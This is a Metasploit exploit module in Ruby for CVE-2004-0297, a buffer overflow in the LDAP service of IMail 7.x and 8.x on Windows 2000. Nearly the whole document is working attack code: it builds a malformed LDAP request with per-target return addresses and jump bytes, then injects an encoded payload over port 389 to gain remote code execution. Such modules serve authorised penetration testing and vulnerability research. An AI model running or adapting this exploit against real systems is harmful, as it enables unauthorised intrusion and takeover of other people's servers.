IMail LDAP Service Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'IMail LDAP Service Buffer Overflow',
      'Description'    => %q{
          This exploits a buffer overflow in the LDAP service that is
        part of the IMail product. This module was tested against
        version 7.10 and 8.5, both running on Windows 2000.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2004-0297'],
          [ 'OSVDB', '3984'],
          [ 'BID', '9682'],
          [ 'URL', 'http://web.archive.org/web/20060110155821/http://secunia.com:80/advisories/10880/'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00\x0a\x0d\x20",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ["Windows 2000 English",   { 'Ret' => 0x75023386 }],
          ["Windows 2000 IMail 8.x", { 'Ret' => 0x1002a619 }],
        ],
      'DisclosureDate' => '2004-02-17',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(389)
      ])
  end

  def exploit
    connect

    buf = "\x30\x82\x0a\x3d\x02\x01\x01\x60\x82\x01\x36\x02\xff\xff\xff\xff\x20"
    buf << "\xcc" * 5000

    # Universal exploit, targets 6.x, 7.x, and 8.x at once ;)
    # Thanks for johnny cyberpunk for 6/7 vs 8 diffs

    buf[77, 4] = "\xeb\x06"
    buf[81, 4] = [target.ret].pack('V') # 6.x, 7.x
    buf[85, 4] = "\xeb\x06"
    buf[89, 4] = [target.ret].pack('V') # 8.x
    buf[93, payload.encoded.length] = payload.encoded

    sock.put(buf)

    handler
    disconnect
  end
end